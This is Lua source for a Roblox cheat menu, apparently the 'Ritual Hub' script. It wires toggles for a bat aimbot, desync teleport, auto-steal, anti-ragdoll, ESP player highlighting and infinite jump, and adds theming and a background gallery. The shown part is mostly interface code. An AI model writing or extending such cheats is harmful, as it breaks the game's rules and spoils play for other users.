do local b=mkSection(cp,"BAT CONTROLS",0)
local _,svAutoBat=addToggleRow(b,"Bat Aimbot",autoBatEnabled,1,"circle",function(on)
if on and _GACC.safeTryStart and not _GACC.safeTryStart() then
if svAutoBat then svAutoBat(false) end
return
end
if on then
_GACC.exclusiveStop("batAimbot")
queueAutoBatStart();if mobBtnRefs.autoBat then mobBtnRefs.autoBat(true) end
else stopBatAimbot();if mobBtnRefs.autoBat then mobBtnRefs.autoBat(false) end end
saveConfig()
end)
autoBatSetVisual=svAutoBat
local _,svBatDesyncTp=addToggleRow(b,"Bat Desync TP",batDesyncTpEnabled,2,"batDesyncTp",function(on)
if on and _GACC.safeTryStart and not _GACC.safeTryStart() then
if svBatDesyncTp then svBatDesyncTp(false) end
return
end
if on then
_GACC.exclusiveStop("batTp")
batDesyncTpEnabled=true
startBatDesyncTp()
else
stopBatDesyncTp()
end
saveConfig()
end)
batDesyncTpSetVisual=svBatDesyncTp
addToggleRow(b,"Auto Swing",autoSwingEnabled,3,nil,function(on) autoSwingEnabled=on;saveConfig(); end)
_GACC.extras.addDropdownRow(b,"Drop Type",_GACC.DROP_TYPES,_GACC.dropType,4,function(name)
_GACC.dropType=name; saveConfig()
end)
_GACC.extras.addDropdownRow(b,"After Drop",_GACC.AFTER_DROP_OPTIONS,_GACC.afterDrop,5,function(name)
_GACC.afterDrop=name; saveConfig()
end)
end
do local b=mkSection(cp,"RAGDOLL",1)
addToggleRow(b,"Bat Counter",_GACC.batCounterEnabled,0,nil,function(on)
_GACC.batCounterEnabled=on
if on then _GACC.startBatCounter() else _GACC.stopBatCounter() end
saveConfig()
end)
local _,svRagdoll=addToggleRow(b,"Anti Ragdoll",antiRagdollEnabled,1,nil,function(on) antiRagdollEnabled=on;if on then startAntiRagdoll() else stopAntiRagdoll() end;saveConfig() end)
setAntiRagVisual=svRagdoll
if antiRagdollEnabled then svRagdoll(true) end
local _,svMedusa=addToggleRow(b,"Medusa Counter",medusaCounterEnabled,2,nil,function(on) medusaCounterEnabled=on;if on then setupMedusa(LP.Character) else stopMedusaCounter() end;saveConfig() end)
setMedusaVisual=svMedusa
local _,svUnwalk=addToggleRow(b,"Unwalk",unwalkEnabled,3,nil,function(on) unwalkEnabled=on;if on then startUnwalk() else stopUnwalk() end;saveConfig() end)
setUnwalkVisual=svUnwalk
end
-- ========== NEW ANTI DIE SECTION ==========
do local b=mkSection(cp,"SAFE MODE",1.5)
addToggleRow(b,"Safe Mode",_GACC.safeModeEnabled,1,nil,function(on)
_GACC.safeModeEnabled=on
if on and _GACC.safeForceStop then _GACC.safeForceStop() end
saveConfig()
end)
end
do local b=mkSection(cp,"ANTI DIE",2)
local _,svAntiDie=addToggleRow(b,"Anti Die",antiDieEnabled,1,nil,function(on)
if on then
startAntiDie()
else
stopAntiDie()
end
saveConfig()
end)
end
-- ==========================================
do local b=mkSection(cp,"STEAL",3)
local radiusRow
local function syncStealSettingRows(animate)
-- Steal Radius applies to NORMAL and SEMI. V1-V4 are fixed presets.
local show=(stealMode=="normal" or stealMode=="semi")
if not radiusRow then return end
if show then
radiusRow.Visible=true
if animate then
radiusRow.Size=UDim2.new(1,0,0,0)
tw(radiusRow,{Size=UDim2.new(1,0,0,42)},TweenInfo.new(0.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out))
else
radiusRow.Size=UDim2.new(1,0,0,42)
end
elseif animate then
tw(radiusRow,{Size=UDim2.new(1,0,0,0)},TweenInfo.new(0.16,Enum.EasingStyle.Quint,Enum.EasingDirection.In))
task.delay(0.17,function()
if radiusRow and not (stealMode=="normal" or stealMode=="semi") then radiusRow.Visible=false end
end)
else
radiusRow.Visible=false
end
end
do
local Row=Instance.new("Frame",b)
Row.Size=UDim2.new(1,0,0,42); Row.BackgroundColor3=Color3.fromRGB(11,11,17)
Row.BackgroundTransparency=0.25; Row.BorderSizePixel=0; Row.LayoutOrder=1
guiCorner(Row,6); local autoStealStroke=guiStroke(Row,Color3.fromRGB(38,40,52),1)
local topGlow=Instance.new("Frame",Row)
topGlow.Size=UDim2.new(1,-24,0,1); topGlow.Position=UDim2.new(0,12,0,0)
topGlow.BackgroundColor3=_ACC.accent; topGlow.BackgroundTransparency=1; topGlow.BorderSizePixel=0; topGlow.Visible=false
local topGlowGrad=Instance.new("UIGradient",topGlow)
topGlowGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(0.5,0),NumberSequenceKeypoint.new(1,1)})
task.spawn(function()
local x=-1
while topGlow and topGlow.Parent do
x=x+0.025; if x>1 then x=-1 end
topGlowGrad.Offset=Vector2.new(x,0)
task.wait(0.025)
end
end)
local Lb=Instance.new("TextLabel",Row)
Lb.Size=UDim2.new(0,90,0,18); Lb.Position=UDim2.new(0,14,0,12)
Lb.BackgroundTransparency=1; Lb.Text="Auto Steal"
Lb.TextColor3=Color3.fromRGB(190,226,255); Lb.TextSize=12; Lb.Font=Enum.Font.GothamBold
Lb.TextXAlignment=Enum.TextXAlignment.Left
local stealDesc=Instance.new("TextLabel",Row)
stealDesc.Size=UDim2.new(1,-112,0,13); stealDesc.Position=UDim2.new(0,55,0,28)
stealDesc.BackgroundTransparency=1; stealDesc.Text=""; stealDesc.Visible=false
stealDesc.TextColor3=Color3.fromRGB(102,105,124); stealDesc.TextSize=8; stealDesc.Font=Enum.Font.Gotham
stealDesc.TextXAlignment=Enum.TextXAlignment.Left
local modeBtn=Instance.new("TextButton",Row)
modeBtn.Size=UDim2.new(0,58,0,20); modeBtn.Position=UDim2.new(0,102,0,11)
modeBtn.BackgroundColor3=_ACC.accentBg; modeBtn.BackgroundTransparency=0.16
modeBtn.BorderSizePixel=0; modeBtn.ZIndex=6
modeBtn.Font=Enum.Font.GothamBold; modeBtn.TextSize=8
modeBtn.TextColor3=Color3.fromRGB(118,188,240)
guiCorner(modeBtn,7)
local modeBtnStroke=guiStroke(modeBtn,_ACC.accentDark,1)
local function updateModeBtn()
if stealMode~="normal" then
modeBtn.Text=stealMode:upper()
tw(modeBtn,{BackgroundColor3=_ACC.accentBg,BackgroundTransparency=0.05})
modeBtn.TextColor3=_ACC.accent
if modeBtnStroke then modeBtnStroke.Color=_ACC.accentDark end
else
modeBtn.Text="NORMAL"
tw(modeBtn,{BackgroundColor3=_ACC.accentBg,BackgroundTransparency=0.16})
modeBtn.TextColor3=Color3.fromRGB(118,188,240)
if modeBtnStroke then modeBtnStroke.Color=_ACC.accentDark end
end
end
updateModeBtn()
modeBtn.MouseEnter:Connect(function() tw(modeBtn,{BackgroundTransparency=0}) end)
modeBtn.MouseLeave:Connect(function() updateModeBtn() end)
local arrowBtn=Instance.new("TextButton",Row)
arrowBtn.Size=UDim2.new(0,22,0,20); arrowBtn.Position=UDim2.new(0,166,0,11)
arrowBtn.BackgroundColor3=_ACC.accentBg; arrowBtn.BackgroundTransparency=0.14
arrowBtn.BorderSizePixel=0; arrowBtn.Text="v"; arrowBtn.TextColor3=_ACC.accent
arrowBtn.Font=Enum.Font.GothamBold; arrowBtn.TextSize=10; arrowBtn.ZIndex=8
guiCorner(arrowBtn,7); local arrowStroke=guiStroke(arrowBtn,_ACC.accentDark,1)
local modeDrop=Instance.new("Frame",Row)
modeDrop.Size=UDim2.new(0,176,0,0); modeDrop.Position=UDim2.new(0,12,0,44)
modeDrop.BackgroundColor3=Color3.fromRGB(2,16,32); modeDrop.BackgroundTransparency=0.02
modeDrop.BorderSizePixel=0; modeDrop.ClipsDescendants=true; modeDrop.ZIndex=7
guiCorner(modeDrop,8); guiStroke(modeDrop,_ACC.accentDark,1)
local stealChoices={}
do
local defs={{"normal","NORMAL"},{"semi","SEMI"},{"v1","V1"},{"v2","V2"},{"v3","V3"},{"v4","V4"}}
for idx,def in ipairs(defs) do
local col=(idx-1)%3; local row=math.floor((idx-1)/3)
local btn=Instance.new("TextButton",modeDrop)
btn.Size=UDim2.new(0.333,-4,0,21)
btn.Position=UDim2.new(0.333*col, col==0 and 3 or 1, 0, 3+row*24)
btn.BackgroundColor3=Color3.fromRGB(7,22,40); btn.BackgroundTransparency=0.12
btn.BorderSizePixel=0; btn.Text=def[2]; btn.TextColor3=Color3.fromRGB(105,170,220)
btn.Font=Enum.Font.GothamBold; btn.TextSize=8; btn.ZIndex=9; guiCorner(btn,6)
stealChoices[idx]={mode=def[1],btn=btn}
end
end
local dropOpen=false
local function setDropOpen(on)
dropOpen=on; arrowBtn.Text=on and "^" or "v"
tw(Row,{Size=UDim2.new(1,0,0,on and 98 or 42)},TweenInfo.new(0.24,Enum.EasingStyle.Quint,Enum.EasingDirection.Out))
tw(modeDrop,{Size=UDim2.new(0,176,0,on and 51 or 0)},TweenInfo.new(0.22,Enum.EasingStyle.Quint,Enum.EasingDirection.Out))
tw(arrowBtn,{BackgroundColor3=on and _ACC.accentHover or _ACC.accentBg},TweenInfo.new(0.18))
end
local function chooseStealMode(nextMode)
if stealMode~=nextMode then
local wasOn=Steal.AutoStealEnabled
if wasOn then stopAutoSteal() end
stealMode=nextMode; updateModeBtn(); syncStealSettingRows(true); saveConfig()
if wasOn then startAutoSteal() end
end
for _,c in ipairs(stealChoices) do
local sel=(stealMode==c.mode)
c.btn.BackgroundColor3=sel and _ACC.accentBg or Color3.fromRGB(7,22,40)
c.btn.TextColor3=sel and _ACC.accent or Color3.fromRGB(105,170,220)
end
setDropOpen(false)
end
for _,c in ipairs(stealChoices) do
c.btn.MouseButton1Click:Connect(function() chooseStealMode(c.mode) end)
c.btn.MouseEnter:Connect(function() tw(c.btn,{BackgroundColor3=_ACC.accentHover},TweenInfo.new(0.14)) end)
c.btn.MouseLeave:Connect(function()
tw(c.btn,{BackgroundColor3=(stealMode==c.mode) and _ACC.accentBg or Color3.fromRGB(7,22,40)},TweenInfo.new(0.16))
end)
end
arrowBtn.MouseButton1Click:Connect(function() setDropOpen(not dropOpen) end)
modeBtn.MouseButton1Click:Connect(function() setDropOpen(not dropOpen) end)
local arrowScale=Instance.new("UIScale",arrowBtn)
arrowBtn.MouseEnter:Connect(function()
TweenService:Create(arrowScale,TweenInfo.new(0.16,Enum.EasingStyle.Back,Enum.EasingDirection.Out),{Scale=1.1}):Play()
tw(arrowBtn,{BackgroundColor3=_ACC.accentHover},TweenInfo.new(0.16))
end)
arrowBtn.MouseLeave:Connect(function()
TweenService:Create(arrowScale,TweenInfo.new(0.18,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=1}):Play()
tw(arrowBtn,{BackgroundColor3=dropOpen and _ACC.accentHover or _ACC.accentBg},TweenInfo.new(0.18))
end)
chooseStealMode(stealMode)
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function()
if stealMode~="normal" then
tw(modeBtn,{BackgroundColor3=thm.accentBg})
modeBtn.TextColor3=thm.accent
if modeBtnStroke then modeBtnStroke.Color=thm.accentDark end
end
end)
end})
local OFF_TRACK=Color3.fromRGB(5,24,43); local OFF_KNOB=Color3.fromRGB(70,126,174)
-- ── Ritual Hub style circle toggle ──────────────────────────────
local Track=Instance.new("Frame",Row); Track.ZIndex=3
Track.Size=UDim2.new(0,36,0,24); Track.Position=UDim2.new(1,-48,0,9)
Track.BackgroundTransparency=1; Track.BorderSizePixel=0
Instance.new("UICorner",Track).CornerRadius=UDim.new(1,0)
local TrkStroke=nil
local Shadow=Instance.new("Frame",Track); Shadow.ZIndex=3; Shadow.AnchorPoint=Vector2.new(0.5,0.5)
Shadow.Position=UDim2.new(0.5,0,0.5,1); Shadow.Size=UDim2.new(0,16,0,16)
Shadow.BackgroundColor3=Color3.fromRGB(0,0,0); Shadow.BackgroundTransparency=0.5; Shadow.BorderSizePixel=0
Instance.new("UICorner",Shadow).CornerRadius=UDim.new(1,0)
local Knob=Instance.new("Frame",Track); Knob.ZIndex=4; Knob.AnchorPoint=Vector2.new(0.5,0.5)
Knob.Position=UDim2.new(0.5,0,0.5,0); Knob.Size=UDim2.new(0,13,0,13)
Knob.BackgroundColor3=OFF_KNOB; Knob.BorderSizePixel=0
Instance.new("UICorner",Knob).CornerRadius=UDim.new(1,0)
local KnobGrad=Instance.new("UIGradient",Knob); KnobGrad.Rotation=90
local Gloss=Instance.new("Frame",Knob); Gloss.ZIndex=5
Gloss.Position=UDim2.new(0.22,0,0.11,0); Gloss.Size=UDim2.new(0.46,0,0.24,0)
Gloss.BackgroundColor3=Color3.fromRGB(255,255,255); Gloss.BackgroundTransparency=0.62; Gloss.BorderSizePixel=0
Instance.new("UICorner",Gloss).CornerRadius=UDim.new(1,0)
local GlossGrad=Instance.new("UIGradient",Gloss); GlossGrad.Rotation=90
GlossGrad.Transparency=NumberSequence.new({
NumberSequenceKeypoint.new(0,0.35),NumberSequenceKeypoint.new(0.6,0.78),NumberSequenceKeypoint.new(1,1)
})
local function stealCircleVisual(on)
if on then
Knob.BackgroundColor3=_ACC.accent
KnobGrad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0,Color3.fromRGB(200,230,255)),
ColorSequenceKeypoint.new(0.46,_ACC.accent),
ColorSequenceKeypoint.new(1,_ACC.accentDark),
})
Gloss.BackgroundTransparency=0.5
else
Knob.BackgroundColor3=OFF_KNOB
KnobGrad.Color=ColorSequence.new({
ColorSequenceKeypoint.new(0,Color3.fromRGB(235,232,248)),
ColorSequenceKeypoint.new(0.5,Color3.fromRGB(128,124,150)),
ColorSequenceKeypoint.new(1,Color3.fromRGB(48,48,58)),
})
Gloss.BackgroundTransparency=0.62
end
end
local statusDot=Instance.new("Frame",Row)
statusDot.Size=UDim2.new(0,6,0,6); statusDot.Position=UDim2.new(0,0,0,0)
statusDot.BorderSizePixel=0; statusDot.Visible=false; guiCorner(statusDot,3)
local statusLbl=Instance.new("TextLabel",Row)
statusLbl.Size=UDim2.new(0,0,0,0); statusLbl.Position=UDim2.new(0,0,0,0)
statusLbl.BackgroundTransparency=1; statusLbl.TextSize=8; statusLbl.Font=Enum.Font.GothamBold; statusLbl.Visible=false
statusLbl.TextXAlignment=Enum.TextXAlignment.Left
local stealToggleSt=Steal.AutoStealEnabled
local function setStealV(on)
stealToggleSt=on
if on then playFeatureEffect(Row) end
stealCircleVisual(on)
Knob.Size=UDim2.new(0,10,0,10)
tw(Knob,{Size=UDim2.new(0,13,0,13)},TweenInfo.new(0.18,Enum.EasingStyle.Back,Enum.EasingDirection.Out))
statusDot.BackgroundColor3=on and _ACC.accent or _ACC.accentDark
statusLbl.Text=on and "ON" or "OFF"
statusLbl.TextColor3=on and Color3.fromRGB(170,222,255) or Color3.fromRGB(100,157,205)
if TrkStroke then TrkStroke.Color=_ACC.accentDark end
end
table.insert(_themeToggleRefs,{track=Track,trkStroke=TrkStroke,knob=Knob,
offTrack=OFF_TRACK,offKnob=OFF_KNOB,offStroke=_ACC.accentDark,
getSt=function() return stealToggleSt end})
setStealV(stealToggleSt)
table.insert(_themeExtRefs,{callback=function(thm)
pcall(function()
topGlow.BackgroundColor3=thm.accent; arrowBtn.TextColor3=thm.accent; arrowStroke.Color=thm.accentDark
end)
end})
local ToggleBtn=Instance.new("TextButton",Row)
ToggleBtn.Size=UDim2.new(0,36,0,24); ToggleBtn.Position=UDim2.new(1,-48,0,9)
ToggleBtn.BackgroundTransparency=1; ToggleBtn.Text=""; ToggleBtn.ZIndex=8
ToggleBtn.MouseButton1Click:Connect(function()
stealToggleSt=not stealToggleSt; setStealV(stealToggleSt)
Steal.AutoStealEnabled=stealToggleSt
if stealToggleSt then startAutoSteal() else stopAutoSteal() end
saveConfig()
end)
local hov=Instance.new("TextButton",Row)
hov.Size=UDim2.new(1,0,1,0); hov.BackgroundTransparency=1; hov.Text=""; hov.ZIndex=0
hov.MouseEnter:Connect(function() tw(Row,{BackgroundTransparency=0.18,BackgroundColor3=_ACC.accentRowHover}); autoStealStroke.Color=_ACC.accentDark end)
hov.MouseLeave:Connect(function() tw(Row,{BackgroundTransparency=0.25,BackgroundColor3=Color3.fromRGB(11,11,17)}); autoStealStroke.Color=Color3.fromRGB(38,40,52) end)
end
radiusRow=addInputRow(b,"Steal Radius",Steal.StealRadius,2,function(v) Steal.StealRadius=math.clamp(tonumber(v) or 61,1,500); saveConfig() end)
syncStealSettingRows(false)
end
do local b=mkSection(cp,"ACTIONS",4)
-- Drop Brainrot / TP Down removed: mobile buttons + keybinds cover these.
addToggleRow(b,"Medusa Instant Reset",_GACC.medusaResetEnabled,4,nil,function(on)
_GACC.medusaResetEnabled = on
if on then _GACC.startMedusaReset(LP.Character) else _GACC.stopMedusaReset() end
saveConfig()
end)
local _,svAntiSummer = addToggleRow(b,"Anti Summer Base",AntiSummer.antiSummerBaseEnabled,5,nil,function(on)
if on then
AntiSummer.enable()
else
AntiSummer.disable()
end
saveConfig()
end)
end
do local b=mkSection(cp,"HIGHLIGHT",5)
addToggleRow(b,"Player Highlight",_GACC.playerHighlightEnabled,1,nil,function(on)
_GACC.playerHighlightEnabled=on
if on then _GACC.startESP() else _GACC.stopESP() end
saveConfig()
end)
end
end
do
local mv=CategoryRefs.contents["Movement"]
-- AUTO PATHS section removed: use the mobile buttons or keybinds instead.
do local b=mkSection(mv,"SETTINGS",1)
local _,svAutoTP=addToggleRow(b,"Auto TP",autoTPEnabled,1,nil,function(on) autoTPEnabled=on;if on then startAutoTP() else stopAutoTP() end;saveConfig() end)
setAutoTPVisual=svAutoTP
addInputRow(b,"TP Height",autoTPHeight,2,function(v) if v>=0 and v<=500 then autoTPHeight=v end;saveConfig() end)
local _,svInfJump=addToggleRow(b,"Infinite Jump",infJumpEnabled,3,nil,function(on)
infJumpEnabled=on; if on then startHoldInfJump() else stopHoldInfJump() end; saveConfig()
end)
setInfJumpVisual=svInfJump
end
end
applyColorTheme = function(name)
local thm = THEME_DEFS[name]; if not thm then return end
currentColorTheme = name
_ACC.accent=thm.accent; _ACC.accentDark=thm.accentDark
_ACC.accentBg=thm.accentBg; _ACC.accentHover=thm.accentHover
_ACC.accentRowHover=thm.accentRowHover
_GACC.accent=thm.accent; _GACC.accentDark=thm.accentDark
_GACC.accentBg=thm.accentBg; _GACC.accentHover=thm.accentHover
_GACC.accentRowHover=thm.accentRowHover
for _,_r in ipairs(_themeExtRefs) do pcall(_r.callback,thm) end
C.blue=thm.accent; C.accent=thm.accent; C.accentDark=thm.accentDark
C.accentBg=thm.accentBg; C.accentHover=thm.accentHover; C.accentRowHover=thm.accentRowHover
for _,f in ipairs(_themeSeps) do pcall(function() f.BackgroundColor3=thm.accent end) end
for _,f in ipairs(_themeScrollbars) do pcall(function() f.ScrollBarImageColor3=thm.accent end) end
for _,r in ipairs(_themeSectRefs) do
pcall(function() r.arrow.TextColor3=thm.accent end)
pcall(function() r.lbl.TextColor3=thm.accentDark end)
end
for _,tb in ipairs(_themeTabBtns) do
pcall(function()
local ac=(CategoryRefs.active==tb.name)
tb.btn.TextColor3 = ac and thm.accent or Color3.fromRGB(68,68,82)
end)
end
for _,ind in ipairs(_themeTabInds) do pcall(function() ind.BackgroundColor3=thm.accent end) end
for _,tgl in ipairs(_themeToggleRefs) do pcall(function()
if tgl.getSt() then
tgl.track.BackgroundColor3=thm.accentBg
tgl.knob.BackgroundColor3=thm.accent
if tgl.trkStroke then tgl.trkStroke.Color=thm.accentDark end
end
end) end
for _,ab in ipairs(_themeActBtns) do
pcall(function() ab.BackgroundColor3=thm.accentBg end)
pcall(function() ab.TextColor3=thm.accent end)
end
for _,kb in ipairs(_themeKbLabels) do
pcall(function() kb.BackgroundColor3=thm.accentBg end)
pcall(function() kb.TextColor3=thm.accent end)
end
for _,s in ipairs(_themeSwatchStrokes) do
local ac=(s.name==name)
TweenService:Create(s.stroke,TweenInfo.new(0.15),{
Color=ac and Color3.fromRGB(255,255,255) or Color3.fromRGB(60,60,70),
Transparency=ac and 0.05 or 0.5, Thickness=ac and 2.5 or 1
}):Play()
end
applyBackgroundImage()
saveConfig()
end
do
local vi=CategoryRefs.contents["Visual"]
do local b=mkSection(vi,"AVATAR",0)
local packNames={"Off"}
do
local tmp={}; for name in pairs(_GACC.extras.packs) do table.insert(tmp,name) end; table.sort(tmp)
for _,n in ipairs(tmp) do table.insert(packNames,n) end
end
_GACC.extras.addDropdownRow(b,"Anim Pack",packNames,_GACC.extras.getPack(),1,function(name)
local ok=_GACC.extras.setPack(name,true,LP.Character)
if ok then saveConfig() end
end)
addToggleRow(b,"Headless",_GACC.extras.getHeadless(),2,nil,function(on) _GACC.extras.setHeadless(on,LP.Character); saveConfig() end)
addToggleRow(b,"Korblox",_GACC.extras.getKorblox(),3,nil,function(on) _GACC.extras.setKorblox(on,LP.Character); saveConfig() end)
end
do local b=mkSection(vi,"VISUAL",1)
addToggleRow(b,"Intro Song",introSoundEnabled,1,nil,function(on)
introSoundEnabled=on
if not on and introSoundInstance and introSoundInstance.IsPlaying then pcall(function() introSoundInstance:Stop() end) end
saveConfig()
end)
addToggleRow(b,"Anti Lag",antiLagEnabled,2,nil,function(on) if on then enableAntiLag() else disableAntiLag() end;saveConfig() end)
addToggleRow(b,"Stretch Rez",stretchRezEnabled,3,nil,function(on) if on then enableStretchRez() else disableStretchRez() end;saveConfig() end)
addToggleRow(b,"Ragdoll GUI",ragdollGuiEnabled,4,nil,function(on) ragdollGuiEnabled=on;saveConfig() end)
end
local viFovBody=mkSection(vi,"FOV",3)
do
local fovRow=Instance.new("Frame"); fovRow.Size=UDim2.new(1,0,0,38); fovRow.BackgroundColor3=C.row
fovRow.BackgroundTransparency=0.5; fovRow.BorderSizePixel=0; fovRow.LayoutOrder=1; fovRow.Parent=viFovBody
guiCorner(fovRow,10); guiStroke(fovRow,C.divider,1)
local fovLbl=Instance.new("TextLabel",fovRow); fovLbl.Size=UDim2.new(0.5,0,0,16); fovLbl.Position=UDim2.new(0,12,0,6)
fovLbl.BackgroundTransparency=1; fovLbl.Text="FOV"; fovLbl.TextColor3=C.text; fovLbl.TextSize=11; fovLbl.Font=Enum.Font.GothamBold; fovLbl.TextXAlignment=Enum.TextXAlignment.Left
local fovBtn=Instance.new("TextButton",fovRow); fovBtn.Size=UDim2.new(0,52,0,22)
fovBtn.AnchorPoint=Vector2.new(1,0.5); fovBtn.Position=UDim2.new(1,-12,0.5,0); fovBtn.AutomaticSize=Enum.AutomaticSize.X
fovBtn.BackgroundColor3=_ACC.accentBg; fovBtn.BackgroundTransparency=0.3; fovBtn.BorderSizePixel=0
fovBtn.Text=tostring(fovValue); fovBtn.TextColor3=_ACC.accent
table.insert(_themeActBtns,fovBtn); fovBtn.TextSize=11; fovBtn.Font=Enum.Font.GothamBold; guiCorner(fovBtn,5)
do local fovBtnPad=Instance.new("UIPadding",fovBtn); fovBtnPad.PaddingLeft=UDim.new(0,10); fovBtnPad.PaddingRight=UDim.new(0,10) end
fovBtn.MouseButton1Click:Connect(function()
fovIndex=fovIndex%#fovOptions+1; fovValue=fovOptions[fovIndex]; fovBtn.Text=tostring(fovValue); applyFOV(); saveConfig()
end)
fovBtn.MouseEnter:Connect(function() tw(fovBtn,{BackgroundTransparency=0.05}); tw(fovBtn,{BackgroundColor3=_ACC.accentHover}) end)
fovBtn.MouseLeave:Connect(function() tw(fovBtn,{BackgroundTransparency=0.3}); tw(fovBtn,{BackgroundColor3=_ACC.accentBg}) end)
local hov3=Instance.new("TextButton",fovRow); hov3.Size=UDim2.new(1,0,1,0); hov3.BackgroundTransparency=1; hov3.Text=""; hov3.ZIndex=0
hov3.MouseEnter:Connect(function() tw(fovRow,{BackgroundTransparency=0.2}); tw(fovRow,{BackgroundColor3=_ACC.accentRowHover}) end)
hov3.MouseLeave:Connect(function() tw(fovRow,{BackgroundTransparency=0.5}); tw(fovRow,{BackgroundColor3=C.row}) end)
end
end
;(function(settingsPage)
-- lives on the Visual page now; the argument name is left alone so the
-- rest of this closure does not need touching
local backgroundBody=mkSection(settingsPage,"BACKGROUNDS",4)
addActionRow(backgroundBody,"Background Images",nil,function()
if PlayerGui:FindFirstChild("RitualBackgroundGalleryLayer") then return end
local selectedIndex=backgroundIndex
local closing=false
local cardRefs={}
local responsiveConn=nil
local modalGui=Instance.new("ScreenGui")
modalGui.Name="RitualBackgroundGalleryLayer"; modalGui.ResetOnSpawn=false; modalGui.IgnoreGuiInset=true
modalGui.ZIndexBehavior=Enum.ZIndexBehavior.Sibling; modalGui.DisplayOrder=999; modalGui.Parent=PlayerGui
local blur=Instance.new("BlurEffect")
blur.Name="RitualBackgroundGalleryBlur"; blur.Size=0; blur.Parent=Lighting
local overlay=Instance.new("TextButton",modalGui)
overlay.Name="BackgroundGalleryOverlay"; overlay.Size=UDim2.fromScale(1,1)
overlay.BackgroundColor3=Color3.fromRGB(2,3,8); overlay.BackgroundTransparency=1
overlay.BorderSizePixel=0; overlay.Text=""; overlay.AutoButtonColor=false; overlay.ZIndex=100
local popup=Instance.new("CanvasGroup",overlay)
popup.Name="BackgroundGallery"; popup.AnchorPoint=Vector2.new(.5,.5); popup.Position=UDim2.new(.5,-165,.5,0)
popup.Size=UDim2.fromOffset(720,470); popup.BackgroundColor3=Color3.fromRGB(7,8,14)
popup.BackgroundTransparency=.34; popup.BorderSizePixel=0; popup.ClipsDescendants=true
popup.GroupTransparency=1; popup.Rotation=-3; popup.ZIndex=101; guiCorner(popup,20)
local popupStroke=guiStroke(popup,Color3.fromRGB(104,112,138),1.4); popupStroke.Transparency=.34
local popupScale=Instance.new("UIScale",popup)
local showcaseScale=nil
local function getTargetScale()
local camera=workspace.CurrentCamera
local viewport=camera and camera.ViewportSize or Vector2.new(1280,720)
return math.clamp(math.min((viewport.X-28)/1050,(viewport.Y-28)/470),.42,1)
end
local targetScale=getTargetScale()
popupScale.Scale=targetScale*.78
responsiveConn=workspace.CurrentCamera and workspace.CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
targetScale=getTargetScale()
TweenService:Create(popupScale,TweenInfo.new(.2,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=targetScale}):Play()
if showcaseScale then TweenService:Create(showcaseScale,TweenInfo.new(.2,Enum.EasingStyle.Quint,Enum.EasingDirection.Out),{Scale=targetScale}):Play() end
end)
local showcasePanel=Instance.new("CanvasGroup",overlay)
showcasePanel.Name="FullMainGuiShowcase";showcasePanel.AnchorPoint=Vector2.new(.5,.5)
showcasePanel.Position=UDim2.new(.5,365,.5,0);showcasePanel.Size=UDim2.fromOffset(310,410)
showcasePanel.BackgroundTransparency=1;showcasePanel.BorderSizePixel=0
showcasePanel.GroupTransparency=1;showcasePanel.ZIndex=102;showcasePanel.Active=true
showcaseScale=Instance.new("UIScale",showcasePanel);showcaseScale.Scale=targetScale*.78
local showcaseClone=Inner:Clone()
showcaseClone.Name="LiveMainGuiPreview";showcaseClone.Size=UDim2.fromScale(1,1)
showcaseClone.Position=UDim2.fromOffset(0,0);showcaseClone.AnchorPoint=Vector2.zero
showcaseClone.BackgroundTransparency=.74;showcaseClone.ZIndex=203;showcaseClone.Parent=showcasePanel
for _,object in ipairs(showcaseClone:GetDescendants()) do
if object:IsA("GuiObject") then object.ZIndex=math.min(999,object.ZIndex+203) end
end
local externalShowcaseBg=showcaseClone:FindFirstChild("BackgroundImage",true)
if externalShowcaseBg and externalShowcaseBg:IsA("ImageLabel") then
externalShowcaseBg.Image=_GACC.backgroundImages[selectedIndex]
externalShowcaseBg.ImageTransparency=.18
externalShowcaseBg.Visible=true
end
local clonedGrad=showcaseClone:FindFirstChild("BgGrad",true)
if clonedGrad and clonedGrad:IsA("GuiObject") then clonedGrad.BackgroundTransparency=1 end
local clonedRain=showcaseClone:FindFirstChild("RainEffect",true)
if clonedRain and clonedRain:IsA("GuiObject") then clonedRain.Visible=false end
local topGlow=Instance.new("Frame",popup)
topGlow.Size=UDim2.new(1,0,0,105); topGlow.BackgroundColor3=_ACC.accentBg
topGlow.BackgroundTransparency=.58; topGlow.BorderSizePixel=0; topGlow.ZIndex=101
local topGlowGrad=Instance.new("UIGradient",topGlow)
topGlowGrad.Color=ColorSequence.new({ColorSequenceKeypoint.new(0,_ACC.accentDark),ColorSequenceKeypoint.new(.48,_ACC.accent),ColorSequenceKeypoint.new(1,_ACC.accentDark)})
topGlowGrad.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,.76),NumberSequenceKeypoint.new(.48,.91),NumberSequenceKeypoint.new(1,1)})
topGlowGrad.Rotation=8
local accentLine=Instance.new("Frame",popup)
accentLine.Position=UDim2.fromOffset(24,0); accentLine.Size=UDim2.new(1,-48,0,2)
accentLine.BackgroundColor3=_ACC.accent; accentLine.BorderSizePixel=0; accentLine.ZIndex=109
local accentFade=Instance.new("UIGradient",accentLine)
accentFade.Transparency=NumberSequence.new({NumberSequenceKeypoint.new(0,1),NumberSequenceKeypoint.new(.2,.08),NumberSequenceKeypoint.new(.8,.08),NumberSequenceKeypoint.new(1,1)})
local title=Instance.new("TextLabel",popup)
title.Position=UDim2.fromOffset(94,24); title.Size=UDim2.new(1,-170,0,25); title.BackgroundTransparency=1
title.RichText=true; title.Text='RITUAL BACKGROUNDS'; title.TextColor3=Color3.fromRGB(247,248,255); title.Font=Enum.Font.GothamBold
title.TextSize=19; title.TextXAlignment=Enum.TextXAlignment.Left; title.ZIndex=104
local closeBtn=Instance.new("TextButton",popup)
closeBtn.AnchorPoint=Vector2.new(1,0); closeBtn.Position=UDim2.new(1,-20,0,19); closeBtn.Size=UDim2.fromOffset(38,38)
closeBtn.BackgroundColor3=Color3.fromRGB(24,26,38); closeBtn.BackgroundTransparency=.62; closeBtn.BorderSizePixel=0
closeBtn.Text="X"; closeBtn.TextColor3=Color3.fromRGB(211,215,231); closeBtn.Font=Enum.Font.GothamBold
